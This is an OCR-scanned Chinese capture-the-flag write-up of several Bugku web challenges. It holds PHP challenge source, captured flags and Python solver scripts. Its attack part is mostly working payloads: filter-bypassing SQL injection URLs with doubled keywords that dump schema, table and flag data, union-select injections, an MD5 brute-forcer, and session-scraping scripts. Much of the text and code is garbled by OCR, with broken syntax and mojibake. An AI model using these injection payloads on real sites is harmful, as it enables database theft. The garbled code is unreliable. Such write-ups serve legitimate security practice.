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FIOF R E A& B T A8: <?php
$num=$_GET[num;

$str=$ GET['str];
show_source(__FILE_ );

if (isset($num)&&isset($str)) {

if (preg_match(‘\d+/sD",$str)) {
echo "vagetable hhhh",

exit();

}

$result=is_numeric($num) and is_numeric($str);
if ($result) {

include "flag.php";

echo "$flag";

}

else{

echo "vagetablessssss";

}
}

?>
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1E#Ahttp://123.206.31.85:10026/?num=1&str=
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flag:

flag{f0058a1d652f13d6}
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flag:

flag{c3fd1661da5efb989c72b91f3c378759}
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HESNEIER, put—AbugkussisiiT T .

13 3| ZmxhZ3tUN2wdeHM5ZmMxbmNOOES52aVBUYmdzZkewZHpYOVZ9
H¥E:baseb4f# % 15 Flflag

flag:

flag{T718xs9fc1nct8NviPTbn3fG0dzX9V}
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flag:

flag{bugku123456}
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WERET, KE#HET. . . - BEMAZKKAIEEImport requests
import re

url = 'http://123.206.31.85:10002/'

S = requests.session()

html = s.get(url).text

html = htmi[82:]

nums = re.search('

', html).start()
html = html[:nums]

data = {'result"eval(html)}
result = s.post(url,data)
print(result.text)

flag:
flag{b37d6bdd7bb132c7c7f6072cd318697c}
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flag:
flag{85ff2ee4171396724bae20c0bd851f6b}
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R IE R R 15 W robots. txt, 15 19 2 J5 £ Blshell.php, #FFshell.phpz j5 & El#E 5~

FANRABR6M, HESMARITHRE, B4R Fimport hashlib
def get_token(txt):

m1 = hashlib.md5()
m1.update(txt.encode("utf-8"))

token = m1.hexdigest()

return token

for i in range(0,99999999999).

if get_token(str(i))[0:6] == 'c620ff"

print(i)

break
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flag:
flag{e2f86fb5f75da4999e6f4957d89aacal}
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Can you do it faster? you cost [2468876] msec

=B S WA H RS W Fimport requests

import base64

rq = requests.post(‘http://123.206.31.85:10013/',params="password=1")
a=rqg.headers

c=rq.cookies

b=dict(a)

print(b)



base=b['Password']

cook=Db['Set-Cookie".strip("; path=/; HitpOnly').strip(PHPSESSID=")

print(cook)

post data=base64.b64decode(base)

#print(post_data.decode())

data_to_manage = post_data.decode()

data1=data_to_manage.strip(‘flag{’)

data2=data1.strip(}")

print(data2)

rg2 = requests.post('http://123.206.31.85:10013/',data={'password".data2},cookies={'PHPSESSID".cook})
print(rq2.text)

flag:

flag{FjXAkdGnOBolUZaFzHqjInY2VndLSg}

10.H & it

i RR

T#logx b, KAEE T —EEEE AN, R/EHRE]—Hsqlmaptl 4L HEK T .

EHA P Kascitd BN H, B4 fd=open(log.log','r)
lines = fd.readlines()
str="

for line in lines:
line=line.strip(\n')

if '%3D" in line:

data1 = line.split('%3D’)
data2= data1[1]
data3=data2.split(--')
datad4=data3[0]
datad=int(data4)
st=chr(data4)
str=str+st

print(str)
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flag:
flag{mayiyahei1965ae7569}
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RUEA WHE RS IE T orderdn &, REAKRNE, WETESRDE, KIAHRWT, BEREHN, ZMmEMhA
REIE T or, TorderEFor, FrUAERMARBRTER, BT HRA EHHE TIIKEE, WXiERR:

http://123.206.31.85:10018/list.php?id=1%27%2000rrder%20by%203--+

order 3B WU IERHIR B, AW H %R S ILH =51 H0UE .

SR J5 8 A http://123.206.31.85:10018/list.php?id=111%27%20ununionion%20seselectlect%201,2,3--+F — T &
B, FEIERINARR T 7% B XS unionfiselecti# 17481t

SR JE A% Fi http://123.206.31.85:10018/list.php?id=111%27%20ununionion%20seselectlect%201,
(selselectect%20group_concat(schema_name)%20from%20infoorrmation_schema.schemata),3%20--+& — T
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SR JE A% Fi http://123.206.31.85:10018/list.php?id=111%27%20ununionion%20seselectlect%201,
(seleselectct%20group_concat(schema_name)%Z20from%Z20infoorrmation_schema.schemata),

(seleselectct%20group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_sct
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BEWeb18HIEEIR A, | T ctffiflag

SR 5 Fhttp://123.206.31.85:10018/list.php?id=111%27%20ununionion%20seselectlect%201,
(seleselectct%20group_concat(schema_name)%20from%20infoorrmation_schema.schemata),

(selselectect%20group_concat(column_name)%20from%20infoorrmation_schema.columns%20where%20table
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EEflag®R 54K 3 TidFiflag
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http://123.206.31.85:10018/list.php?id=111%27 %20ununionion%20seselectlect%201,
(seleselectct%20group_concat(schema_name)%20from%20infoorrmation_schema.schemata),
(selselectect%20group_concat(flag)%20from%20web18.flag)--+
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flag:
flag{22b7a7c3d73d88050722b3eeb102ee45}
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WIS B LA import re
import requests

for i in range(1,100):
url="http://123.206.31.85:10020/"
s=requests.session()

r=s.get(url=url)

res="[0-9a-z]+"
key=re.findall(res,r.content.decode("utf-8"))
key=str(key[0])

url1=url+"?key="+key

print(url1)

r=s.get(url=url1)
print(r.content.decode("utf-8"))
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flag:

flag{Md5tiMe8888882019}

13.web25

AR -

XRREE WK, BEMABEZRAESR, #8thiF, dirsearchtilf, HJEH MK —A shell.phpixi £ EHIEK 2

RIEWRIRZ WA, TEhttp://123.206.31.85:10025/xiazai.html T [ R ABAN T 8, BB RH2/EZHMT T, 7
DR R -y ff. — A=, R FIRE—hsjnbit AT LA1S Flflag.

flag:
flag{ee90585a68b88bcd}
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RRBLEUH TRMEAE, m#EEE, KIAmodZHHEATT AL, FEMERIIEBHLEER, RFidZ
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REEfEFsqimapBE i, BEE.

BHAMNARBFEENL, BRAKMFPRHHEENERFEREN.
m—ANSERE, WK—EER, KAAMT, EHRBEREAN.

i and 1=2R BB EI45 1R BN and 1=1TRE E¥, JiHXELF/FEEN.

BN FEBA S, Mhttp://6fe97759aa27a0c9.bugku.comy?mod=read&id=1 order by 5 4a#k4E, B LAt )+
B %24

TR & &

http://6fe97759aa27a0c9.bugku.com/?mod=read&id=0 union select 1,2,database(),4
B HE FE 4 webb,iX B2 3 4K AL B ] AW, 1R ERATLE#.

BHRAL

http://6fe97759aa27a0c9.bugku.com/?mod=read&id=0 union select 1,2,group_concat(table_name),4 from
information_schema.tables where table _schema='web5'

#3) T flag,posts,users, Hrhflagk i Ext 2 RATFEEW
2 ifjweb5E flag B 17 B

http://6fe97759aa27a0c9.bugku.com/?mod=read&id=0 union select 1,2,group_concat(column_name),4 from
information_schema.columns where table _name="flag'

1537 B )18 Hflag

AT E B E Hiflag

http://6fe97759aa27a0c9.bugku.com/?mod=read&id=0 union select 1,2,group_concat(flag),4 from flag
RIEBERT .

flag:

flag{320dbb1c03cdaaf29d16f9d653c88bcb}
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